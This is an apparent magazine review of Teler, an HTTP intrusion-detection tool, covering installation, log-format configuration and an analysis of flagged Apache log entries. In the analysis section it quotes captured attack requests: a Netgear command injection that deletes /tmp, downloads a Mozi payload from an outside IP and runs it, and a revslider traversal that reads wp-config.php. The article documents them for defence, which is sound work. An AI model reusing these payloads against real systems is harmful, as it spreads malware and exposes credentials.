Inspector General

A perennial problem for any system operator is sifting through mountains of logfiles that contain entries of importance. However, when you're presented with half a million lines in a single logfile full of differing content, you have little hope of spotting attack data that may be of concern or, in fact, partially or completely successful.

Numerous tools can help you sort the wheat from the chaff in logfiles, such as the daily reporting provided by the excellent Logwatch [1]. Although these tools are ideal for a small number of entries, few offer analysis in real time with the sophistication of Teler, a "real-time HTTP intrusion detection" tool [2].

Judging by the age of the commits on its GitHub page, it's a relatively new project, but I found its uncomplicated ingenuity exceptionally intriguing. If you visit the GitHub page, you can see multiple command-line screen recordings of Teler in action to whet your appetite. In this article, I look at installation options and use cases for the excellent Teler.

On Your Marks

To begin, I look at how you can install Teler by a very simple route with a precompiled binary; then, I'll look at running it across some web server logs that I have to hand.

The prebuilt binary route can be installed in one of two ways:

1. by visiting the release page on GitHub [3] and choosing the correct binary for your system, or
2. with the use of a handy installation script that pulls down the binary and then saves it to your user path (in this case, /usr/local/bin).

If you choose the second method, for prudence, you should download the script first with curl (to scrutinize the script for malicious intent, omit the section after the pipe (|) before running it in its entirety):

$ curl -sSfL 'https://ktbs.dev/get-teler.sh' | sh -s -- -b /usr/local/bin
kitabisa/teler info checking GitHub for latest tag
kitabisa/teler info found version: 0.0.4 for v0.0.4/linux/amd64
kitabisa/teler info installed /usr/local/bin/teler

As you can see from the output of the command, the tool was installed in the expected path. To check it further, run the check version command,

$ teler -v
teler 0.0.4

and to see the help options, use the -h switch (Figure 1).

Figure 1: The help output from Teler, in hand with some welcome ASCII art.

You can also build the binary yourself from source:

$ git clone https://github.com/kitabisa/teler
$ cd teler
$ make build
$ mv ./bin/teler /usr/local/bin

I have to admit that I had less luck trying to use the Docker container as the installation route. I confirmed that the container was valid, but the way it was built meant I couldn't execute commands inside a running container easily to see what I was missing, in terms of passing configuration to the binary correctly. I did manage to get some meaningful errors back from the binary inside the container, but ultimately, I didn't want to spend too much time on it.

If you go down that route, you will probably want to install Docker Engine Community Edition and follow the official instructions [4] to get started. You can then start by pulling the relevant container image with the command:

$ docker pull kitabisa/teler

To tell the container the location of the configuration file, you can use either the command,

$ export TELER_CONFIG="/root/teler.yaml"

a shell-wide environment variable (sometimes this path refers internally to a container path, so it might not work as expected), or the Docker command to include an environment variable,

$ docker run -i --rm -e TELER_CONFIG=/root/teler.yaml kitabisa/teler-i apache.log

where the -i (input) switch is a prerecorded logfile or logfiles.

You can also buffer real-time data to Teler if you get the Docker command working:

$ cat apache.log | docker run -i --rm -e  TELER_CONFIG=./teler.yaml kitabisa/teler

I will leave you to get the container route working and instead use the prebuilt binary.

Expanding The Horizon

The most important thing to get correct with Teler is the configuration side of things. A suitably named example file is available online [5]. If you look at the top stanza of that file, you will see that you are dutifully directed to a GitHub page for the configuration section, followed by the log format you want to inspect (Listing 1).

# To write log format, see https://github.com/kitabisa/teler#configuration
log_format: |
  $remote_addr - [$remote_addr] $remote_user - [$time_local]
  "$request_method $request_uri $request_protocol" $status $body_bytes_sent
  "$http_referer" "$http_user_agent" $request_length $request_time
  [$proxy_upstream_name] $upstream_addr $upstream_response_length $upstream_response_time $upstream_status $req_id

Within the configuration section of the documentation, you are offered a number of popular logfile formats. More than 20 years ago I remember some of the standardization issues with the web server logging format and wrangling with some applications that should have supported the NCSA format (named after the National Center for Supercomputing Applications) [6]. These days, however, along with a little help from the documentation, of course, it's possible to pin down logfiles for the following applications and services for relatively easy use with Teler: Apache, Nginx, Nginx Ingress, AWS S3, AWS Elastic Load Balancers, and AWS CloudFront.

Teler has been carefully constructed, and if it's starting out its development with support for numerous applications and services, it would be wise to watch this space for future versions.

Listing 2 shows off the settings available for applying various rules to logfile inspection. As you can see, it's possible to whitelist and ignore certain entries parsed by Teler and exclude certain findings within your logfiles.

rules:
  cache: true
  threat:
    excludes:
      # - "Common Web Attack"
      # - "Bad IP Address"
      # - "Bad Referrer"
      # - "Bad Crawler"
      # - "Directory Bruteforce"
    # It can be user-agent, request path, HTTP referrer, IP address and/or request query values parsed in regExp
    whitelists:
      # - "(curl|Go-http-client|okhttp)/*"
      # - "^/wp-login\\.php"
      # - "https://www\\.facebook\\.com"
      # - "192\\.168\\.0\\.1"

Another option caches rules in the YAML file:

rules:
  cache: true

The documentation says that if you do not want Teler to look up what it calls "external resources" each time it runs, you should enable the above caching. I found it a little unnecessary for testing and kept wiping the cache clean before trying something else with the command:

$ teler --rm-cache

A note in the docs explains that the cache of information will be updated once a day if cache: true is enabled. To understand the purpose of external resources related to the cache, you are pointed to Teller resource collections, where you can see a list of projects (Figure 2) that assisted in the intelligence feed that powers Teler, along with the author's gratitude for their involvement in the project in whatever form that takes.

Figure 2: These projects help update the Teler intelligence feed [7].

Dropping Science

Now that you have seen how to install and where to configure Teler, you can try running Teler with your configuration file, having adapted the one from the GitHub repository [5]. Save your configuration file locally as teler.yml (my preference on Linux is the shortened filename extension).

Listing 3 shows the configuration file that I created, replacing the top stanza with my specific Apache logfile format.

# 68.XXX.XXX.XXX - - [22/Nov/2020:11:03:36 +0100] "GET /wp-login.php HTTP/1.1"
401 673 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
log_format: |
  $remote_addr - - [$time_local] "$request_method $request_uri $request_protocol" $status $body_bytes_sent "-" "$http_user_agent"

That the first line in Listing 3 is all one long line is not precisely clear. It's commented out for reference. To create the correct log_format entry, I just walked through each component of that line and matched the format shown, making sure that double quotes were present where needed. Watch out, though, because they're not always there.

Having pointed the trusty Teler at that logfile, I was a little surprised at how much data was reported back. In Figure 3 you can see the very top of the output from the command:

$ teler -i apache.log -c teler.yml -o threats.txt

Figure 3: The top part of the output analyzing the Apache logfile (redacted to protect the innocent).

I chose to output to a file called threats.txt in addition to STDOUT. The redacted output is missing the IP addresses and is obviously not a clear example of how rapidly the excellent Teler can process web server logs.

To give you an idea of what to expect from Teler and how useful it can be for spotting HTTP-related attacks, I'll dissect some of the threats.txt file that I created with that scan.

I mentioned that Figure 3 didn't demonstrate how quick Teler was to react to the injected logfile. According to the word count command (wc), the combined input logfiles were 45,836 lines long, from which Teler found 10,249 issues worth noting. Teler definitely moved like lightning through the parsing of the ca. 45K-long logfiles.

The results were unsurprising because of the traffic breakdown of the sites on that quiet web server, with logs that span a long period of time in which multiple bots, nefarious scans, and crawlers would have been logged.

The file revealed a large number of brute-force attacks that appear to be PHP related (which is enabled on that Apache server), such as this entry:

[Directory Bruteforce] /s?p=8f0f9570a1e1fb28f829a361441ab&t=bfd6c7c4&h=645cd72507b5af9d66d3425

I also found a number of WordPress attacks, most commonly this PHP test:

[Directory Bruteforce] /wp-login.php

Additionally, a high number of potentially problematic crawler issues were logged:

[Bad Crawler] python-requests/2.22.0
[Bad Crawler] Java/1.8.0_131
[Bad Crawler] curl/7.29.0

From the Common Web Attack intelligence feed, this example stood out immediately:

[Common Web Attack: Detects specific directory and path traversal] /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://60.211.7.17:41606/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

You can see the netgear.cfg file being probed – in fact, written to. If it was being queried, it would probably be for useful version or exploit information. That request definitely does not look good for a standard web server request. Moreover, because the /tmp directory is presumably being written to, it means it's not a novice that has crafted that request. Of course, it's also possible that someone who knew their stuff might have written the request and less experienced miscreants are running automated scans with it.

Using a command to filter out crawler entries, the list of interesting issues is reduced to 1,705:

$ cat threats.txt | grep -iv Crawler | wc

I would recommend boiling down the results to a manageable level or, of course, running Teler over live logfiles for instant feedback and scripting alerts.

After filtering down the larger file, I discovered another interesting finding:

[Common Web Attack: Detects basic directory traversal] /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

Teler can also output results to a file in JSON format (Listing 4).

$ teler -i apache.log -c teler.yml --json
/","status":"200","time_local":"07/Nov/2020:22:45:20 +0000"}
{"body_bytes_sent":"5695","category":"Bad Crawler","element":"http_user_agent","http_user_agent":"Mozilla/5.0 (compatible; BLEXBot/1.0; +http://webmeup-crawler.com/)","remote_addr":"XXX.XXX.XXX.XXX","request_method":"GET","request_protocol":"HTTP/1.1","request_uri":"/","status":"200","time_local":"07/Nov/2020:23:06:25 +0000"}